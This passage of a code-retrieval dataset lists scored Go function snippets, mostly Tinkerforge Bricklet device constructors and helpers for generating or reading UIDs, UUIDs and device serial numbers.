ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetCurrentCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetCurrentCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetVoltageCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetVoltageCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetPowerCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetPowerCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetCurrentCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetCurrentCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetVoltageCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetVoltageCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetPowerCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetPowerCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDebouncePeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetDebouncePeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn VoltageCurrentBricklet{dev}, nil\n}", "title": "" }, { "docid": "56013ecdff43341b2dd7f6d19079f396", "score": "0.4576216", "text": "func (c *Connection) Identifier() string {\n\treturn fmt.Sprintf(\"%s - %s\", c.conn.RemoteAddr().Network(), c.conn.RemoteAddr().String())\n}", "title": "" }, { "docid": "5215b2b67c8d782bcdcc535acae7b574", "score": "0.45726776", "text": "func (sensor *Sensor) DeviceID() (string, error) {\n\tif err := sensor.send(commandDeviceID, modeGet, 0); err != nil {\n\t\treturn \"\", err\n\t}\n\tdata, err := sensor.receiveReply()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tlog.V(6).Infof(\"DeviceID: %#v\", data)\n\treturn data.DeviceID(), nil\n\n}", "title": "" }, { "docid": "16477b0389198415800e07abe599b28d", "score": "0.45711973", "text": "func UID(uid string) (uint64, error) {\n\tif len(uid) < 1 {\n\t\treturn 0, errors.New(\"invalidUid\")\n\t}\n\tbid := []byte(uid)\n\tif bid[0] == '0' && bid[1] == 'x' {\n\t\tiuid, err := strconv.ParseUint(string(bid[2:]), 16, 64)\n\t\tif err != nil {\n\t\t\treturn 0, errors.New(\"invalid hexnumber\")\n\t\t}\n\t\treturn iuid, nil\n\t} else {\n\t\tiuid, err := strconv.ParseUint(uid, 16, 64)\n\t\tif err != nil {\n\t\t\treturn 0, errors.New(\"invalid hexnumber\")\n\t\t}\n\t\treturn iuid, nil\n\t}\n}", "title": "" }, { "docid": "b6913f10b309002604a614caddaa0052", "score": "0.45434448", "text": "func (fbapp *FirebaseApp) GetUIDFromLocation(status *int, City string, UIDList *list.List) {\n\n\t// get app for database\n\tclient, err := fbapp.App.Database(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"error establishing connection to database: %v\", err)\n\t\t*status = 0\n\t\t*UIDList = list.List{}\n\t}\n\n\t// get references and the messages from the reference\n\tref := client.NewRef(fmt.Sprintf(\"locations/saved-locations/%s\", City))\n\tvar data map[string]bool\n\tif err := ref.Get(context.Background(), &data); err != nil {\n\t\tlog.Printf(\"error getting UIDs from location: %v\", err)\n\t\t*status = 0\n\t\t*UIDList = list.List{}\n\t}\n\n\t// data will be returned as a list of strings\n\tlist := list.New()\n\tfor key := range data { // each key is an UID\n\t\tlist.PushBack(key)\n\t}\n\n\t*UIDList = *list\n\t*status = 1\n\n}", "title": "" }, { "docid": "7f261c18b2a2ac89ac29f30c6647c1a9", "score": "0.45432845", "text": "func (wintun *Adapter) LUID() (luid uint64) {\n\tsyscall.Syscall(procWintunGetAdapterLUID.Addr(), 2, uintptr(wintun.handle), uintptr(unsafe.Pointer(&luid)), 0)\n\treturn\n}", "title": "" }, { "docid": "b207ac696e579cef1f8126b750d878e8", "score": "0.4537537", "text": "func (c *Client) DeviceID() string {\n\treturn c.Device().ID\n}", "title": "" }, { "docid": "28540a5652200e27d14d5890751e9144", "score": "0.4525166", "text": "func Uuid4Char32() string {\n\tu := uuid.NewRandom()\n\n\tvar y [32]byte\n\thex.Encode(y[:], u[:])\n\treturn string(y[:])\n}", "title": "" }, { "docid": "c3021c09b5ff7e3861575278f56c7643", "score": "0.45238543", "text": "func getlvmuuid(thinpooldev string) (string, error) {\n\toutput, err := exec.Command(\"lvdisplay\", \"-C\", \"--noheadings\", \"--options\", \"lv_uuid\", thinpooldev).Output()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Could not get the lv_uuid for %s: %s (%s)\", thinpooldev, string(output), err)\n\t\tglog.Error(err)\n\t\treturn \"\", err\n\t}\n\treturn strings.TrimSpace(string(output)), nil\n}", "title": "" }, { "docid": "130ab6e18fdaa4cb43568b2b2e3f8ca8", "score": "0.45231453", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (MultiTouchV2Bricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 0}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn MultiTouchV2Bricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionGetTouchState] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetTouchStateCallbackConfiguration] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetTouchStateCallbackConfiguration] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionRecalibrate] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionSetElectrodeConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetElectrodeConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetElectrodeSensitivity] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetElectrodeSensitivity] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetTouchLEDConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetTouchLEDConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetSPITFPErrorCount] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetWriteFirmwarePointer] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteFirmware] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetStatusLEDConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetStatusLEDConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetChipTemperature] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionReset] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteUID] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionReadUID] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn MultiTouchV2Bricklet{dev}, nil\n}", "title": "" }, { "docid": "90a2cc35061e627c2f09a17abe758e4a", "score": "0.45201352", "text": "func (ub *UbloxBluetooth) GetSerialNumber() string {\n\treturn ub.serialNumber\n}", "title": "" }, { "docid": "b74a8f4134d92a6d7634482bf7d1abf6", "score": "0.45139667", "text": "func UUID() (string, error) {\n\tuuid, err := GenerateRandomBytes(uuidLen)\n\tif err != nil {\n\t\terr = stacktrace.Propagate(err, \"could not generate uuid with length '%v'\", uuidLen)\n\t\treturn \"\", err\n\t}\n\tif len(uuid) != uuidLen {\n\t\terr := stacktrace.NewError(\"could not generate uuid due to wrong length byte slice (%d)\", len(uuid))\n\t\treturn \"\", err\n\t}\n\t// variant bits; see section 4.1.1\n\tuuid[8] = uuid[8]&^0xc0 | 0x80\n\t// version 4 (pseudo-random); see section 4.1.3\n\tuuid[6] = uuid[6]&^0xf0 | 0x40\n\treturn fmt.Sprintf(\"%x-%x-%x-%x-%x\", uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:]), nil\n}", "title": "" }, { "docid": "3bc440bdfda6b13d99717f07cf85c7f4", "score": "0.4482291", "text": "func (bC *BaseComponent) GetID() string{\n if bC.id == \"\" {\n bC.id = \"BaseComponent\"\n }\n return bC.id\n}", "title": "" }, { "docid": "16226cb6233c4a4b6247fbe082616627", "score": "0.44710836", "text": "func GetUuid() string {\n\n\t// Creating UUID Version 4\n\tuuid1 := uuid.NewV4()\n\n\treturn uuid1.String()\n}", "title": "" }, { "docid": "e37f17788e6cce3547646ebaddce77f9", "score": "0.44709843", "text": "func GetUuid() string {\n\treturn strings.ReplaceAll(uuid.New().String(), \"-\", \"\")\n}", "title": "" }, { "docid": "4d5f3ef33efba658798ca667000eacd8", "score": "0.44622242", "text": "func (d *darwin) deviceSerial() (string, error) {\n\tprofiler := exec.Command(\"system_profiler\", \"SPHardwareDataType\")\n\tawk := exec.Command(\"awk\", \"/Serial/ {print $4}\")\n\tpipe, err := profiler.StdoutPipe()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer pipe.Close()\n\n\tawk.Stdin = pipe\n\n\terr = profiler.Start()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tout, err := awk.Output()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn strings.TrimSuffix(string(out), \"\\n\"), nil\n}", "title": "" }, { "docid": "90d51844f25e7d49cb5f5dc73efdb0e7", "score": "0.44616863", "text": "func (r *Conjunction) UID() uint64 { return r.hash }", "title": "" }, { "docid": "102d303c91f8f063cd4511461806d3f1", "score": "0.44506958", "text": "func FormatConnectionIdentifier(sequence uint64) string {\n\treturn fmt.Sprintf(\"%s%d\", ConnectionPrefix, sequence)\n}", "title": "" }, { "docid": "116855edf4d6c8e03bdf2f99a6192e74", "score": "0.44400835", "text": "func (c *Client) Identifier() string {\n\tidentifier := fmt.Sprintf(\"configURL:%q,\", c.config.ConfigURL.String())\n\n\tif c.creds.Token != \"\" {\n\t\tidentifier += fmt.Sprintf(\"token:%q\", c.creds.Token)\n\t}\n\n\tif c.creds.AppCreds != nil {\n\t\tidentifier += fmt.Sprintf(\n\t\t\t\"appID:%q,installationID:%q,key:%q\",\n\t\t\tc.creds.AppCreds.AppID,\n\t\t\tc.creds.AppCreds.AppInstallationID,\n\t\t\tc.creds.AppCreds.AppPrivateKey,\n\t\t)\n\t}\n\n\tif c.rootCAs != nil {\n\t\t// ignoring because this cert pool is intended not to come from SystemCertPool\n\t\t// nolint:staticcheck\n\t\tidentifier += fmt.Sprintf(\"rootCAs:%q\", c.rootCAs.Subjects())\n\t}\n\n\treturn uuid.NewHash(sha256.New(), uuid.NameSpaceOID, []byte(identifier), 6).String()\n}", "title": "" }, { "docid": "4e7cdf5ec7e605cbee9aaa7d98a170fd", "score": "0.44382674", "text": "func MakeDeviceID(major uint16, minor uint32) uint32 {\n\treturn (minor & 0xff) | ((uint32(major) & 0xfff) << 8) | ((minor >> 8) << 20)\n}", "title": "" }, { "docid": "ab842beb3e33c31c6841939e9f1aaaa9", "score": "0.44376698", "text": "func GenerateUID() string {\n\tbuf := make([]byte, 16)\n\tif _, err := crand.Read(buf); err != nil {\n\t\tpanic(fmt.Errorf(\"failed generating uid: %v\", err))\n\t}\n\treturn fmt.Sprintf(\"%08x-%04x-%04x-%04x-%12x\",\n\t\tbuf[0:4],\n\t\tbuf[4:6],\n\t\tbuf[6:8],\n\t\tbuf[8:10],\n\t\tbuf[10:16])\n}", "title": "" }, { "docid": "9093aac27710488186f91928d7815ab0", "score": "0.44152758", "text": "func UUID() (uuidStr string, err error) {\n\tuuidObj, err := uuid.NewV4()\n\tif err != nil {\n\t\treturn\n\t}\n\tuuidStr = uuidObj.String()\n\tuuidStr = strings.Replace(uuidStr, \"-\", \"\", -1)\n\treturn\n}", "title": "" }, { "docid": "f1d244aa285e15543cf44c3ea1d5ee01", "score": "0.44105476", "text": "func (_class BondClass) GetUUID(sessionID SessionRef, self BondRef) (_retval string, _err error) {\n\tif IsMock {\n\t\treturn _class.GetUUIDMock(sessionID, self)\n\t}\t\n\t_method := \"Bond.get_uuid\"\n\t_sessionIDArg, _err := convertSessionRefToXen(fmt.Sprintf(\"%s(%s)\", _method, \"session_id\"), sessionID)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_selfArg, _err := convertBondRefToXen(fmt.Sprintf(\"%s(%s)\", _method, \"self\"), self)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_result, _err := _class.client.APICall(_method, _sessionIDArg, _selfArg)\n\tif _err != nil {\n\t\treturn\n\t}\n\t_retval, _err = convertStringToGo(_method + \" -> \", _result.Value)\n\treturn\n}", "title": "" }, { "docid": "a18bd403266d83b72293ef41a2ba88be", "score": "0.44084504", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (VoltageBricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 1}, uid, &internalIPCon, 0, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn VoltageBricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionGetVoltage] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetAnalogValue] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetVoltageCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetVoltageCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetAnalogValueCallbackPeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetAnalogValueCallbackPeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetVoltageCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetVoltageCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetAnalogValueCallbackThreshold] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetAnalogValueCallbackThreshold] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDebouncePeriod] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionGetDebouncePeriod] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn VoltageBricklet{dev}, nil\n}", "title": "" }, { "docid": "358967a9681017bf01b70c9121958488", "score": "0.4406052", "text": "func (b *Bridge) ID() string {\n\treturn b.id\n}", "title": "" }, { "docid": "1a4302df4ec5c12de0e45af252bddd8f", "score": "0.44053778", "text": "func UIDNR(uid string) uint64 {\n\tif len(uid) < 1 {\n\t\treturn 0\n\t}\n\tbid := []byte(uid)\n\tif bid[0] == '0' && bid[1] == 'x' {\n\t\tiuid, err := strconv.ParseUint(string(bid[2:]), 16, 64)\n\t\tif err != nil {\n\t\t\treturn 0\n\t\t}\n\t\treturn iuid\n\t} else {\n\t\tiuid, err := strconv.ParseUint(uid, 16, 64)\n\t\tif err != nil {\n\t\t\treturn 0\n\t\t}\n\t\treturn iuid\n\t}\n}", "title": "" }, { "docid": "e27001dbae1d628657a6617b6afcf6bc", "score": "0.44010073", "text": "func (f Data5u) UID() string {\n\treturn \"Data5u\"\n}", "title": "" }, { "docid": "72c8b471a039eb3e12c6b0879414b570", "score": "0.43948704", "text": "func (device *JoystickBricklet) GetAPIVersion() [3]uint8 {\n\treturn device.device.GetAPIVersion()\n}", "title": "" }, { "docid": "3765a52f03a12bf706c2dcd22dcdc9e9", "score": "0.43941143", "text": "func (b *RTU) String() string {\n\treturn b.device\n}", "title": "" }, { "docid": "34a118626a35d72de910971708c27b54", "score": "0.43922955", "text": "func (m *_ModelChangeStructureDataType) GetIdentifier() string {\n\treturn \"879\"\n}", "title": "" }, { "docid": "69c499ba326466483891e903987e38d2", "score": "0.4389608", "text": "func (o DatabaseFirewallRuleOutput) Uuid() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v DatabaseFirewallRule) *string { return v.Uuid }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "44308c5a2d321ed1ff53e24eb7a4359f", "score": "0.43819982", "text": "func New(uid string, ipcon *ipconnection.IPConnection) (EPaper296x128Bricklet, error) {\n\tinternalIPCon := ipcon.GetInternalHandle().(IPConnection)\n\tdev, err := NewDevice([3]uint8{2, 0, 1}, uid, &internalIPCon, 4, DeviceIdentifier, DeviceDisplayName)\n\tif err != nil {\n\t\treturn EPaper296x128Bricklet{}, err\n\t}\n\tdev.ResponseExpected[FunctionDraw] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetDrawStatus] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionWriteBlackWhiteLowLevel] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionReadBlackWhiteLowLevel] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionWriteColorLowLevel] = ResponseExpectedFlagTrue\n\tdev.ResponseExpected[FunctionReadColorLowLevel] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionFillDisplay] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionDrawText] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionDrawLine] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionDrawBox] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionSetUpdateMode] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetUpdateMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDisplayType] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetDisplayType] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetDisplayDriver] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetDisplayDriver] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetSPITFPErrorCount] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetBootloaderMode] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetWriteFirmwarePointer] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteFirmware] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionSetStatusLEDConfig] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionGetStatusLEDConfig] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetChipTemperature] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionReset] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionWriteUID] = ResponseExpectedFlagFalse\n\tdev.ResponseExpected[FunctionReadUID] = ResponseExpectedFlagAlwaysTrue\n\tdev.ResponseExpected[FunctionGetIdentity] = ResponseExpectedFlagAlwaysTrue\n\treturn EPaper296x128Bricklet{dev}, nil\n}", "title": "" }, { "docid": "b5cff4b7bf31d9128fd6a03ba9be0f7e", "score": "0.43756682", "text": "func (c *Chassis) SerialNumber() string {\n\treturn c.str(0x07)\n}", "title": "" }, { "docid": "e91c9a8a30a10aaa7a5f07480835f8ab", "score": "0.4374062", "text": "func (mp *ModbusPacket) GetDevID() byte {\n\treturn mp.aPDU[0]\n}", "title": "" }, { "docid": "f18d95cd28c4e310b632146fb6fb6d00", "score": "0.4364437", "text": "func (v *view) UID() string {\n\treturn v.uuid\n}", "title": "" }, { "docid": "a8e41b45554bc27b3a5382b2f9c3a176", "score": "0.4352927", "text": "func GetUUID() string {\n\t// Version 1, based on timestamp and MAC address (RFC 4122)\n\tu1, _ := uuid.NewV1()\n\treturn strings.Replace(u1.String(), string(DASH), \"\", -1)\n}", "title": "" }, { "docid": "bce13b909fa36f4b40fbf2f4b1bee04d", "score": "0.43410012", "text": "func (device *LCD16x2Bricklet) GetAPIVersion() [3]uint8 {\n\treturn device.device.GetAPIVersion()\n}", "title": "" }, { "docid": "398374d48bf8cd9f455cfda60eec2087", "score": "0.4336564", "text": "func (d *Device) GRIBIAddr() string {\n\treturn d.gribiAddr\n}", "title": "" }, { "docid": "19ecda17f6ca792d22c93da03b5f9102", "score": "0.433298", "text": "func getNvmeSerial(devicePath string) (string, error) {\n\tout, err := exec.Command(\n\t\tnvmeIdPath,\n\t\tfmt.Sprintf(\"-d%s\", devicePath)).CombinedOutput()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"google_nvme_id failed for device %q with output %v: %w\", devicePath, out, err)\n\t}\n\n\treturn parseNvmeSerial(string(out))\n}", "title": "" }, { "docid": "84a9f03a61106cb482abe3ba6aefce39", "score": "0.43327233", "text": "func (p *phidget) GetDeviceLabel() (string, error) {\n\tvar cstr *C.char\n\tif cerr := C.Phidget_getDeviceLabel(p.handle, &cstr); cerr != C.EPHIDGET_OK {\n\t\treturn \"\", p.phidgetError(cerr)\n\t}\n\treturn C.GoString(cstr), nil\n}", "title": "" }, { "docid": "5c0a1001d0d573434c35637fe829cf13", "score": "0.43304074", "text": "func (m msgManager) getUID() string {\n\tuid := uuid.Must(uuid.NewV4())\n\treturn uid.String()\n}", "title": "" }, { "docid": "d275fd280911fa5eaff87b06d47270ac", "score": "0.43289182", "text": "func (c *Client) GetJid() string {\n\tt := time.Now().UnixNano()\n\tstr := strconv.FormatInt(t, 10)\n\ts := []string{str, \"1\"}\n\tnewstr := strings.Join(s, \"\")\n\treturn newstr\n}", "title": "" }, { "docid": "1ea4db7b729d50e7a57e9294b7708c66", "score": "0.43273884", "text": "func Device(bus *i2c.I2Cbus, address byte) Vl6180x {\n\treturn Vl6180x{bus.Device(address)}\n}", "title": "" }, { "docid": "815f93366b405ad2127cb4ed19cf1710", "score": "0.43233183", "text": "func (fw *Framework) Getuid() int {\n\treturn os.Getuid()\n}", "title": "" }, { "docid": "afb1b4178b73ba3554c03e7570b6341e", "score": "0.4322084", "text": "func getUUID() string {\n\tu4, err := uuid.NewV4()\n\tif err != nil {\n\t\tfmt.Println(\"error:\", err)\n\t\treturn \"\"\n\t}\n\treturn u4.String()\n}", "title": "" }, { "docid": "031fef6b68f123dfee887b47b3047355", "score": "0.43217087", "text": "func (p *reader) GetUID() (uid int, err error) {\n\treturn p.envParams.GetEnvIntRange(\"UID\", 0, 65535, libparams.Default(\"1000\"))\n}", "title": "" }, { "docid": "58c6d1bfae5ea1a0e519eb4d9e3361e7", "score": "0.43159455", "text": "func (base *baseController) GetUid() string {\n\tcookie, _ := base.Ctx.Request.Cookie(\"token\")\n\tif cookie != nil {\n\t\ttoken := cookie.Value\n\t\tarr := strings.Split(token, \"|\")\n\t\tuid := arr[0]\n\t\treturn uid\n\t} else {\n\t\treturn \"\"\n\t}\n}", "title": "" }, { "docid": "0e3b750de70ff6c8cc6f1a8df929e269", "score": "0.43128586", "text": "func (b *Batch) GetDeviceID() (int64, error) {\n\treturn strconv.ParseInt(b.Device, 36, 64)\n}", "title": "" }, { "docid": "1cfb9bd442cf0ef49364f46e16e2d144", "score": "0.43070585", "text": "func GetUID(in string) uint64 {\n\th := fnv.New64a()\n\th.Write([]byte(in))\n\tuid := h.Sum64()\n\treturn uid\n}", "title": "" }, { "docid": "8bf81c74a51591c5a813ce1854ddee9a", "score": "0.43037784", "text": "func (device *IndustrialDigitalIn4Bricklet) GetAPIVersion() [3]uint8 {\n\treturn device.device.GetAPIVersion()\n}", "title": "" }, { "docid": "6d8371e2daf5ac720f0cf69ed8340f47", "score": "0.42950666", "text": "func (client Client) GetCurrentDeviceGUID() (string, error) {\n\tvar guid struct {\n\t\tGUID string `json:\"deviceID\"`\n\t}\n\terr := client.MakeRequest(\"devicelist/GetLocalDevice\", nil, &guid)\n\treturn guid.GUID, err\n}", "title": "" }, { "docid": "1a614e5237cac37530f71bd61352696d", "score": "0.42871338", "text": "func (m *_PubSubConnectionDataType) GetIdentifier() string {\n\treturn \"15619\"\n}", "title": "" }, { "docid": "738a7ab6bfe45ce4e702107c7664a99d", "score": "0.42836604", "text": "func Uid() string {\n\treturn fmt.Sprintf(\"%s\", uuid.NewV4())\n}", "title": "" }, { "docid": "51d9bf39339d178cf502a2324c71bb90", "score": "0.42831403", "text": "func (o *MarketOrder) UID() string {\n\treturn o.ID().String()\n}", "title": "" }, { "docid": "88dfb30fcf1a152cb9389991479193d5", "score": "0.42811814", "text": "func (c *criContainerdService) getDeviceUUID(path string) (string, error) {\n\tmount, err := c.os.LookupMount(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\trdev := unix.Mkdev(uint32(mount.Major), uint32(mount.Minor))\n\treturn c.os.DeviceUUID(rdev)\n}", "title": "" }, { "docid": "4e452806bd8517a5b239fe912d3dca23", "score": "0.4278711", "text": "func geneUniqueID() string {\n\tb := make([]byte, 16)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tuuid := fmt.Sprintf(\"%x-%x-%x-%x-%x\", b[0:4], b[4:6], b[6:8], b[8:10], b[10:])\n\treturn uuid\n}", "title": "" }, { "docid": "5b3cf0736bdbb085d8623ebcb9ad62c2", "score": "0.42757532", "text": "func (fr *Frame) Identification() string {\n\treturn fr.getHexValue(8) + \" \" + fr.getHexValue(7) + \" \" + fr.getHexValue(6) + \" \" + fr.getHexValue(5)\n}", "title": "" }, { "docid": "abb12526d020f700ba4c166d20865ffc", "score": "0.42698827", "text": "func (n *Snapshots) uid(id, version int) string {\n\treturn fmt.Sprintf(\"%d-%d\", id, version)\n}", "title": "" } ]
f231d698dbdbd65b40a69f6757686ad1
NeedUpdateTopicPublish returns true if the published topic's consume queue is empty otherwise false
[ { "docid": "b0ef71fe619959bc774e213deaa5c21d", "score": "0.8662575", "text": "func (p *Producer) NeedUpdateTopicPublish(topic string) bool {\n\tpi := p.topicPublishInfos.get(topic)\n\treturn pi != nil && !pi.hasQueue()\n}", "title": "" } ]
[ { "docid": "8b4285d06eb845657c4dac23fc93fc54", "score": "0.6689166", "text": "func checkIfPublishIsPossible(appId string, redisEntry map[string]interface{}) bool {\n\tif len(redisEntry) == 0 {\n\t\tredisClient.Set(appId, \"{\\\"subscribed\\\":false}\", 0)\n\t\treturn false\n\t}\n\treturn redisEntry[\"subscribed\"].(bool)\n}", "title": "" }, { "docid": "2a09180431a72c4716ae0aed9a480be4", "score": "0.6403843", "text": "func (p *Producer) UpdateTopicPublish(topic string, router *route.TopicRouter) {\n\tp.Logger.Debugf(\"update topic publish %s %s\", topic, router.String())\n\troute.SortTopicQueue(router.Queues) // for the select consume queue is not duplicated by brokername\n\tqs := make([]*message.Queue, 0, 8)\n\tfor _, q := range router.Queues {\n\t\tif !route.IsWritable(q.Perm) {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar b *route.Broker\n\t\tfor _, b0 := range router.Brokers {\n\t\t\tif q.BrokerName == b0.Name {\n\t\t\t\tb = b0\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif b == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := b.Addresses[rocketmq.MasterID]; !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor i := 0; i < q.WriteCount; i++ {\n\t\t\tqs = append(qs, &message.Queue{Topic: topic, BrokerName: b.Name, QueueID: uint8(i)})\n\t\t}\n\t}\n\n\ttp := &topicPublishInfo{\n\t\torderTopic: false, // NOTE: unsupport the order now\n\t\trouter: router,\n\t\tqueues: qs,\n\t\thaveTopicRouterInfo: true,\n\t}\n\n\tprev := p.topicPublishInfos.put(topic, tp)\n\tif prev != nil {\n\t\tp.Logger.Info(\"UpdateTopicPublish prev is not null, \" + prev.String())\n\t}\n}", "title": "" }, { "docid": "1a18f4eb142f89c2bd87175a149b3a56", "score": "0.6171578", "text": "func (a *Adaptor) Publish(topic string, message []byte) bool {\n\tif a.client == nil {\n\t\treturn false\n\t}\n\ta.client.Publish(topic, 0, false, message)\n\treturn true\n}", "title": "" }, { "docid": "cc38fcff3842be93ceecabcd9f8c7e06", "score": "0.609412", "text": "func (p *Producer) Unpublish(topic string) bool {\n\treturn p.topicPublishInfos.delete(topic)\n}", "title": "" }, { "docid": "579f55e3e88354f355b2c0fec7ea1a2b", "score": "0.5992153", "text": "func (c *Conn) topicHasEmptyParamSet(topic string) bool {\n\treturn len(c.topicWithParams[topic]) == 0\n}", "title": "" }, { "docid": "b4284c19e328992474893f9781abc430", "score": "0.59599346", "text": "func (bm *UsageManager) CanPublishPubSub(username string) error {\n\tb, err := bm.FindByUserName(username)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif b.PubSubMessagesSent >= b.PubSubMessagesAllowed {\n\t\treturn errors.New(\"too many pubsub messages sent, please wait until next billing cycle\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": 